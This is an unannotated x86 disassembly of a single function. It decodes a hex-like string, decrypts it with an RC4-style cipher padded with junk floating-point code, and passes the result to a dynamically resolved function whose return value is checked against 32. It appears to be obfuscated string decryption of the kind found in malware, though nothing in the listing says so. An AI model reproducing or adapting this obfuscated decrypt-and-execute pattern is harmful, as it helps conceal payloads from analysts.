movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xdaf]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
movzx ecx, byte [ebp - 0xda5]
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xc89]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
movzx edx, byte [ebp - 0xd9d]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
mov byte [ebp - 0xda5], al
mov al, byte [ebp - 0xe01]
mov byte [ebp - 0xc89], al
mov al, byte [ebp - 0xda5]
mov byte [ebp - 0xe55], al
cmp dword [ebp - 0xe44], 0
jle 0x517684
movsx ax, byte [ebp - 0xe55]
mov ecx, dword [ebp - 0xe44]
mov word [ebp + ecx*2 - 0x44e], ax
jmp 0x5171a7
mov eax, dword [ebp - 0xe40]
inc eax
mov dword [ebp - 0xe40], eax
mov eax, dword [ebp - 0xe44]
inc eax
mov dword [ebp - 0xe44], eax
mov eax, dword [ebp - 0xe40]
inc eax
mov dword [ebp - 0xe40], eax
mov eax, dword [ebp - 0xe44]
shl eax, 1
mov dword [ebp - 0xdc8], eax
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xdc8]
movzx eax, byte [eax]
mov dword [ebp - 0xe64], eax
mov dword [ebp - 0xdf0], 0xb2
mov eax, dword [ebp - 0xe44]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xe20], eax
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xe20]
movzx eax, byte [eax]
mov dword [ebp - 0xe8c], eax
mov dword [ebp - 0xe60], 0x68
mov eax, dword [ebp - 0xe64]
sub eax, dword [ebp - 0xdf0]
mov dword [ebp - 0xe88], eax
mov eax, dword [ebp - 0xe8c]
sub eax, dword [ebp - 0xe60]
mov dword [ebp - 0xdcc], eax
mov eax, dword [ebp - 0xe88]
shl eax, 4
mov dword [ebp - 0xe84], eax
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0xe5c], eax
mov eax, dword [ebp - 0xe84]
or eax, dword [ebp - 0xe5c]
mov dword [ebp - 0xe34], eax
mov al, byte [ebp - 0xe34]
mov byte [ebp - 0xe01], al
movzx eax, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp - 0xe7d], al
movzx eax, byte [ebp - 0xdaf]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xc99]
add ecx, eax
mov byte [ebp - 0xc99], cl
mov al, byte [ebp - 0xdaf]
add al, 1
mov byte [ebp - 0xdaf], al
movzx eax, byte [ebp - 0xc99]
movzx ecx, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xda5]
movzx ecx, byte [ebp - 0xc99]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xdaf]
movzx ecx, byte [ebp - 0xda5]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xdaf]
mov cl, byte [ebp - 0xe7d]
mov byte [ebp + eax - 0xd9c], cl
movzx eax, byte [ebp - 0xe7d]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xd9d]
add ecx, eax
mov byte [ebp - 0xd9d], cl
movzx eax, byte [ebp - 0xe01]
movzx ecx, byte [ebp - 0xc99]
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xdaf]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
movzx ecx, byte [ebp - 0xda5]
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xc89]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
movzx edx, byte [ebp - 0xd9d]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
mov byte [ebp - 0xda5], al
mov al, byte [ebp - 0xe01]
mov byte [ebp - 0xc89], al
mov al, byte [ebp - 0xda5]
mov byte [ebp - 0xe55], al
cmp dword [ebp - 0xe44], 0
jle 0x5178ec
movsx ax, byte [ebp - 0xe55]
mov ecx, dword [ebp - 0xe44]
mov word [ebp + ecx*2 - 0x44e], ax
mov eax, dword [ebp - 0xe40]
inc eax
mov dword [ebp - 0xe40], eax
mov eax, dword [ebp - 0xe44]
inc eax
mov dword [ebp - 0xec4], eax
jmp 0x517915
mov eax, dword [ebp - 0xec4]
inc eax
mov dword [ebp - 0xec4], eax
mov eax, dword [ebp - 0xec4]
cmp eax, dword [ebp - 0xe40]
jge 0x517e63
mov eax, dword [ebp - 0xe44]
inc eax
mov dword [ebp - 0xe44], eax
mov eax, dword [ebp - 0xe44]
shl eax, 1
mov dword [ebp - 0xdc8], eax
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xdc8]
movzx eax, byte [eax]
mov dword [ebp - 0xe64], eax
fld dword [0x9a597c]
fstp dword [ebp - 0xed0]
fld dword [0x9a5978]
fstp dword [ebp - 0xedc]
fld dword [0x9a5974]
fstp dword [ebp - 0xee0]
fld dword [0x9a5970]
fstp dword [ebp - 0xec8]
fld dword [ebp - 0xee0]
fmul dword [ebp - 0xec8]
fstp dword [ebp - 0xee0]
fld dword [ebp - 0xee0]
fsub dword [ebp - 0xec8]
fstp dword [ebp - 0xee0]
fld dword [ebp - 0xed0]
fadd dword [ebp - 0xec8]
fstp dword [ebp - 0xed0]
fld dword [ebp - 0xed0]
fmul dword [ebp - 0xec8]
fstp dword [ebp - 0xed0]
fld dword [ebp - 0xec8]
fld dword [ebp - 0xed0]
fcompp
fnstsw ax
test ah, 0x41
jne 0x517a3b
fld dword [ebp - 0xed0]
fmul dword [ebp - 0xee0]
fstp dword [ebp - 0xed0]
fld dword [ebp - 0xec8]
fsub dword [ebp - 0xedc]
fstp dword [ebp - 0xec8]
fld dword [ebp - 0xed0]
fmul dword [ebp - 0xee0]
fstp dword [ebp - 0xed0]
fld dword [ebp - 0xec8]
fmul dword [ebp - 0xedc]
fstp dword [ebp - 0xec8]
mov dword [ebp - 0xdf0], 0xb2
jmp 0x517b72
fld dword [ebp - 0xed0]
fadd dword [ebp - 0xedc]
fstp dword [ebp - 0xed0]
fld dword [ebp - 0xedc]
fadd dword [ebp - 0xee0]
fstp dword [ebp - 0xedc]
fld dword [ebp - 0xed0]
fadd dword [ebp - 0xedc]
fstp dword [ebp - 0xed0]
fld dword [ebp - 0xec8]
fadd dword [ebp - 0xed0]
fstp dword [ebp - 0xec8]
fld dword [ebp - 0xedc]
fsub dword [ebp - 0xee0]
fstp dword [ebp - 0xedc]
fld dword [ebp - 0xec8]
fadd dword [ebp - 0xed0]
fstp dword [ebp - 0xec8]
fld dword [ebp - 0xedc]
fdiv dword [ebp - 0xee0]
fstp dword [ebp - 0xedc]
fld dword [ebp - 0xec8]
fadd dword [ebp - 0xed0]
fstp dword [ebp - 0xec8]
fld dword [ebp - 0xec8]
fld dword [ebp - 0xedc]
fcompp
fnstsw ax
test ah, 5
jp 0x517b2a
fld dword [ebp - 0xedc]
fsub dword [ebp - 0xec8]
fstp dword [ebp - 0xedc]
fld dword [ebp - 0xec8]
fadd dword [ebp - 0xedc]
fstp dword [ebp - 0xec8]
fld dword [ebp - 0xee0]
fadd dword [ebp - 0xed0]
fstp dword [ebp - 0xee0]
fld dword [ebp - 0xec8]
fmul dword [ebp - 0xedc]
fstp dword [ebp - 0xec8]
jmp 0x517b72
fld dword [ebp - 0xee0]
fmul dword [ebp - 0xec8]
fstp dword [ebp - 0xee0]
fld dword [ebp - 0xed0]
fdiv dword [ebp - 0xedc]
fstp dword [ebp - 0xed0]
fld dword [ebp - 0xec8]
fdiv dword [ebp - 0xed0]
fstp dword [ebp - 0xec8]
fld dword [ebp - 0xed0]
fsub dword [ebp - 0xedc]
fstp dword [ebp - 0xed0]
mov eax, dword [ebp - 0xe44]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xe20], eax
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xe20]
movzx eax, byte [eax]
mov dword [ebp - 0xe8c], eax
mov dword [ebp - 0xe60], 0x68
mov eax, dword [ebp - 0xe64]
sub eax, dword [ebp - 0xdf0]
mov dword [ebp - 0xe88], eax
mov eax, dword [ebp - 0xe8c]
sub eax, dword [ebp - 0xe60]
mov dword [ebp - 0xdcc], eax
mov eax, dword [ebp - 0xe88]
shl eax, 4
mov dword [ebp - 0xe84], eax
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0xe5c], eax
mov eax, dword [ebp - 0xe84]
or eax, dword [ebp - 0xe5c]
mov dword [ebp - 0xe34], eax
mov al, byte [ebp - 0xe34]
mov byte [ebp - 0xe01], al
movzx eax, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp - 0xe7d], al
fld dword [0x9a596c]
fstp dword [ebp - 0xecc]
fld dword [0x9a5968]
fstp dword [ebp - 0xed8]
fld dword [0x9a5964]
fstp dword [ebp - 0xed4]
fld dword [ebp - 0xecc]
fadd dword [ebp - 0xed4]
fstp dword [ebp - 0xecc]
fld dword [ebp - 0xecc]
fadd dword [ebp - 0xed4]
fstp dword [ebp - 0xecc]
fld dword [ebp - 0xed8]
fmul dword [ebp - 0xed4]
fstp dword [ebp - 0xed8]
fld dword [ebp - 0xed4]
fld dword [ebp - 0xed8]
fcompp
fnstsw ax
test ah, 0x41
jne 0x517ce5
fld dword [ebp - 0xed8]
fsub dword [ebp - 0xecc]
fstp dword [ebp - 0xed8]
fld dword [ebp - 0xed4]
fmul dword [ebp - 0xed8]
fstp dword [ebp - 0xed4]
fld dword [ebp - 0xed4]
fmul dword [ebp - 0xed8]
fstp dword [ebp - 0xed4]
movzx eax, byte [ebp - 0xdaf]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xc99]
add ecx, eax
mov byte [ebp - 0xc99], cl
mov al, byte [ebp - 0xdaf]
add al, 1
mov byte [ebp - 0xdaf], al
jmp 0x517d1b
fld dword [ebp - 0xed4]
fadd dword [ebp - 0xed8]
fstp dword [ebp - 0xed4]
fld dword [ebp - 0xed4]
fmul dword [ebp - 0xed8]
fstp dword [ebp - 0xed4]
fld dword [ebp - 0xed4]
fmul dword [ebp - 0xed8]
fstp dword [ebp - 0xed4]
movzx eax, byte [ebp - 0xc99]
movzx ecx, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xda5]
movzx ecx, byte [ebp - 0xc99]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xdaf]
movzx ecx, byte [ebp - 0xda5]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xdaf]
mov cl, byte [ebp - 0xe7d]
mov byte [ebp + eax - 0xd9c], cl
movzx eax, byte [ebp - 0xe7d]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xd9d]
add ecx, eax
mov byte [ebp - 0xd9d], cl
movzx eax, byte [ebp - 0xe01]
movzx ecx, byte [ebp - 0xc99]
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xdaf]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
movzx ecx, byte [ebp - 0xda5]
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xc89]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
movzx edx, byte [ebp - 0xd9d]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
mov byte [ebp - 0xda5], al
mov al, byte [ebp - 0xe01]
mov byte [ebp - 0xc89], al
mov al, byte [ebp - 0xda5]
mov byte [ebp - 0xe55], al
cmp dword [ebp - 0xe44], 0
jle 0x517e5e
movsx ax, byte [ebp - 0xe55]
mov ecx, dword [ebp - 0xe44]
mov word [ebp + ecx*2 - 0x44e], ax
jmp 0x517908
mov eax, dword [ebp - 0xe40]
inc eax
mov dword [ebp - 0xe40], eax
mov eax, dword [ebp - 0xe44]
inc eax
mov dword [ebp - 0xe44], eax
mov eax, dword [ebp - 0xe40]
inc eax
mov dword [ebp - 0xe40], eax
mov eax, dword [ebp - 0xe44]
shl eax, 1
mov dword [ebp - 0xdc8], eax
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xdc8]
movzx eax, byte [eax]
mov dword [ebp - 0xe64], eax
fld dword [0x9a5960]
fstp dword [ebp - 0xe00]
fld dword [0x9a434c]
fstp dword [ebp - 0xdd8]
fld dword [0x9a595c]
fstp dword [ebp - 0xe70]
fld dword [0x9a5958]
fstp dword [ebp - 0xe30]
fld dword [ebp - 0xe00]
fadd dword [ebp - 0xe30]
fstp dword [ebp - 0xe00]
fld dword [ebp - 0xe00]
fadd dword [ebp - 0xe30]
fstp dword [ebp - 0xe00]
fld dword [ebp - 0xe00]
fadd dword [ebp - 0xe30]
fstp dword [ebp - 0xe00]
fld dword [ebp - 0xdd8]
fsub dword [ebp - 0xe30]
fstp dword [ebp - 0xdd8]
fld dword [ebp - 0xe30]
fld dword [ebp - 0xe00]
fcompp
fnstsw ax
test ah, 0x41
jne 0x517f8e
fld dword [ebp - 0xe30]
fmul dword [ebp - 0xdd8]
fstp dword [ebp - 0xe30]
fld dword [ebp - 0xe30]
fmul dword [ebp - 0xdd8]
fstp dword [ebp - 0xe30]
fld dword [ebp - 0xe30]
fmul dword [ebp - 0xdd8]
fstp dword [ebp - 0xe30]
fld dword [ebp - 0xe70]
fmul dword [ebp - 0xe00]
fstp dword [ebp - 0xe70]
mov dword [ebp - 0xdf0], 0xb2
jmp 0x517fd6
fld dword [ebp - 0xe00]
fadd dword [ebp - 0xe70]
fstp dword [ebp - 0xe00]
fld dword [ebp - 0xe00]
fadd dword [ebp - 0xe70]
fstp dword [ebp - 0xe00]
fld dword [ebp - 0xe30]
fsub dword [ebp - 0xdd8]
fstp dword [ebp - 0xe30]
fld dword [ebp - 0xe70]
fadd dword [ebp - 0xe00]
fstp dword [ebp - 0xe70]
mov eax, dword [ebp - 0xe44]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xe20], eax
fld qword [0x9a5950]
fstp qword [ebp - 0xdfc]
fld qword [0x9a5948]
fstp qword [ebp - 0xdd4]
fld qword [0x9a5940]
fstp qword [ebp - 0xe6c]
fld qword [0x9a5938]
fstp qword [ebp - 0xe2c]
fld qword [ebp - 0xdfc]
fadd qword [ebp - 0xe2c]
fstp qword [ebp - 0xdfc]
fld qword [ebp - 0xdfc]
fadd qword [ebp - 0xe2c]
fstp qword [ebp - 0xdfc]
fld qword [ebp - 0xdfc]
fadd qword [ebp - 0xe2c]
fstp qword [ebp - 0xdfc]
fld qword [ebp - 0xe6c]
fsub qword [ebp - 0xe2c]
fstp qword [ebp - 0xe6c]
fld qword [ebp - 0xdfc]
fcomp qword [ebp - 0xe6c]
fnstsw ax
test ah, 5
jp 0x5181ac
fld qword [ebp - 0xe2c]
fdiv qword [ebp - 0xdfc]
fstp qword [ebp - 0xe2c]
fld qword [ebp - 0xdfc]
fsub qword [ebp - 0xdd4]
fstp qword [ebp - 0xdfc]
fld qword [ebp - 0xdfc]
fdiv qword [ebp - 0xdd4]
fstp qword [ebp - 0xdfc]
fld qword [ebp - 0xe6c]
fadd qword [ebp - 0xe2c]
fstp qword [ebp - 0xe6c]
fld qword [ebp - 0xdd4]
fsub qword [ebp - 0xe2c]
fstp qword [ebp - 0xdd4]
fld qword [ebp - 0xdd4]
fadd qword [ebp - 0xe2c]
fstp qword [ebp - 0xdd4]
fld qword [ebp - 0xdfc]
fadd qword [ebp - 0xe6c]
fstp qword [ebp - 0xdfc]
fld qword [ebp - 0xdd4]
fmul qword [ebp - 0xe2c]
fstp qword [ebp - 0xdd4]
fld qword [ebp - 0xdfc]
fcomp qword [ebp - 0xe6c]
fnstsw ax
test ah, 0x41
jne 0x518162
fld qword [ebp - 0xe6c]
fmul qword [ebp - 0xe2c]
fstp qword [ebp - 0xe6c]
fld qword [ebp - 0xdfc]
fdiv qword [ebp - 0xdd4]
fstp qword [ebp - 0xdfc]
fld qword [ebp - 0xdd4]
fadd qword [ebp - 0xe6c]
fstp qword [ebp - 0xdd4]
fld qword [ebp - 0xdfc]
fdiv qword [ebp - 0xdd4]
fstp qword [ebp - 0xdfc]
jmp 0x5181aa
fld qword [ebp - 0xdd4]
fsub qword [ebp - 0xe2c]
fstp qword [ebp - 0xdd4]
fld qword [ebp - 0xdd4]
fadd qword [ebp - 0xe2c]
fstp qword [ebp - 0xdd4]
fld qword [ebp - 0xdd4]
fsub qword [ebp - 0xe2c]
fstp qword [ebp - 0xdd4]
fld qword [ebp - 0xe2c]
fadd qword [ebp - 0xdd4]
fstp qword [ebp - 0xe2c]
jmp 0x518209
fld qword [ebp - 0xe2c]
fsub qword [ebp - 0xdfc]
fstp qword [ebp - 0xe2c]
fld qword [ebp - 0xe2c]
fadd qword [ebp - 0xdfc]
fstp qword [ebp - 0xe2c]
fld qword [ebp - 0xdd4]
fadd qword [ebp - 0xe6c]
fstp qword [ebp - 0xdd4]
fld qword [ebp - 0xe6c]
fsub qword [ebp - 0xe2c]
fstp qword [ebp - 0xe6c]
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xe20]
movzx eax, byte [eax]
mov dword [ebp - 0xe8c], eax
mov dword [ebp - 0xe60], 0x68
mov eax, dword [ebp - 0xe64]
sub eax, dword [ebp - 0xdf0]
mov dword [ebp - 0xe88], eax
mov eax, dword [ebp - 0xe8c]
sub eax, dword [ebp - 0xe60]
mov dword [ebp - 0xdcc], eax
mov eax, dword [ebp - 0xe88]
shl eax, 4
mov dword [ebp - 0xe84], eax
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0xe5c], eax
mov eax, dword [ebp - 0xe84]
or eax, dword [ebp - 0xe5c]
mov dword [ebp - 0xe34], eax
mov al, byte [ebp - 0xe34]
mov byte [ebp - 0xe01], al
movzx eax, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp - 0xe7d], al
movzx eax, byte [ebp - 0xdaf]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xc99]
add ecx, eax
mov byte [ebp - 0xc99], cl
mov al, byte [ebp - 0xdaf]
add al, 1
mov byte [ebp - 0xdaf], al
movzx eax, byte [ebp - 0xc99]
movzx ecx, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xda5]
movzx ecx, byte [ebp - 0xc99]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xdaf]
movzx ecx, byte [ebp - 0xda5]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xdaf]
mov cl, byte [ebp - 0xe7d]
mov byte [ebp + eax - 0xd9c], cl
movzx eax, byte [ebp - 0xe7d]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xd9d]
add ecx, eax
mov byte [ebp - 0xd9d], cl
movzx eax, byte [ebp - 0xe01]
movzx ecx, byte [ebp - 0xc99]
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xdaf]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
movzx ecx, byte [ebp - 0xda5]
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xc89]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
movzx edx, byte [ebp - 0xd9d]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
mov byte [ebp - 0xda5], al
mov al, byte [ebp - 0xe01]
mov byte [ebp - 0xc89], al
mov al, byte [ebp - 0xda5]
mov byte [ebp - 0xe55], al
cmp dword [ebp - 0xe44], 0
jle 0x5183f3
movsx ax, byte [ebp - 0xe55]
mov ecx, dword [ebp - 0xe44]
mov word [ebp + ecx*2 - 0x44e], ax
mov eax, dword [ebp - 0xe44]
inc eax
mov dword [ebp - 0xe44], eax
mov eax, dword [ebp - 0xe40]
inc eax
mov dword [ebp - 0xe40], eax
mov eax, dword [ebp - 0xe44]
shl eax, 1
mov dword [ebp - 0xdc8], eax
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xdc8]
movzx eax, byte [eax]
mov dword [ebp - 0xe64], eax
mov dword [ebp - 0xdf0], 0xb2
mov eax, dword [ebp - 0xe44]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xe20], eax
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xe20]
movzx eax, byte [eax]
mov dword [ebp - 0xe8c], eax
mov dword [ebp - 0xe60], 0x68
mov eax, dword [ebp - 0xe64]
sub eax, dword [ebp - 0xdf0]
mov dword [ebp - 0xe88], eax
mov eax, dword [ebp - 0xe8c]
sub eax, dword [ebp - 0xe60]
mov dword [ebp - 0xdcc], eax
mov eax, dword [ebp - 0xe88]
shl eax, 4
mov dword [ebp - 0xe84], eax
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0xe5c], eax
mov eax, dword [ebp - 0xe84]
or eax, dword [ebp - 0xe5c]
mov dword [ebp - 0xe34], eax
mov al, byte [ebp - 0xe34]
mov byte [ebp - 0xe01], al
movzx eax, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp - 0xe7d], al
movzx eax, byte [ebp - 0xdaf]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xc99]
add ecx, eax
mov byte [ebp - 0xc99], cl
mov al, byte [ebp - 0xdaf]
add al, 1
mov byte [ebp - 0xdaf], al
movzx eax, byte [ebp - 0xc99]
movzx ecx, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xda5]
movzx ecx, byte [ebp - 0xc99]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xdaf]
movzx ecx, byte [ebp - 0xda5]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xdaf]
mov cl, byte [ebp - 0xe7d]
mov byte [ebp + eax - 0xd9c], cl
movzx eax, byte [ebp - 0xe7d]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xd9d]
add ecx, eax
mov byte [ebp - 0xd9d], cl
movzx eax, byte [ebp - 0xe01]
movzx ecx, byte [ebp - 0xc99]
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xdaf]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
movzx ecx, byte [ebp - 0xda5]
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xc89]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
movzx edx, byte [ebp - 0xd9d]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
mov byte [ebp - 0xda5], al
mov al, byte [ebp - 0xe01]
mov byte [ebp - 0xc89], al
mov al, byte [ebp - 0xda5]
mov byte [ebp - 0xe55], al
cmp dword [ebp - 0xe44], 0
jle 0x518649
movsx ax, byte [ebp - 0xe55]
mov ecx, dword [ebp - 0xe44]
mov word [ebp + ecx*2 - 0x44e], ax
xor eax, eax
mov word [ebp - 0x442], ax
jmp 0x518685
and dword [ebp - 0xee4], 0
jmp 0x51866a
mov eax, dword [ebp - 0xee4]
inc eax
mov dword [ebp - 0xee4], eax
cmp dword [ebp - 0xee4], 6
jge 0x518685
xor eax, eax
mov ecx, dword [ebp - 0xee4]
mov word [ebp + ecx*2 - 0x44c], ax
jmp 0x51865d
push 1
push 0
push dword [ebp + 8]
lea ecx, [ebp - 0x420]
call fcn.008e86c5
push eax
lea eax, [ebp - 0x68c]
push eax
lea eax, [ebp - 0x44c]
push eax
push 0
call dword [ebp - 0x41c]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0xef4], 0x208
lea eax, [ebp - 0x214]
mov dword [ebp - 0xef0], eax
cmp dword [ebp - 0xef4], 0
je 0x5186f8
mov eax, dword [ebp - 0xef0]
mov byte [eax], 0
mov eax, dword [ebp - 0xef0]
inc eax
mov dword [ebp - 0xef0], eax
mov eax, dword [ebp - 0xef4]
dec eax
mov dword [ebp - 0xef4], eax
jmp 0x5186ca
cmp dword [ebp - 0x440], 0x20
jle 0x518714
mov byte [ebp - 0x245], 1
mov eax, dword [ebp + 8]
push dword [eax + 8]
call dword [0x9d8a30]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x420]
call fcn.008ec5f4
mov al, byte [ebp - 0x245]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret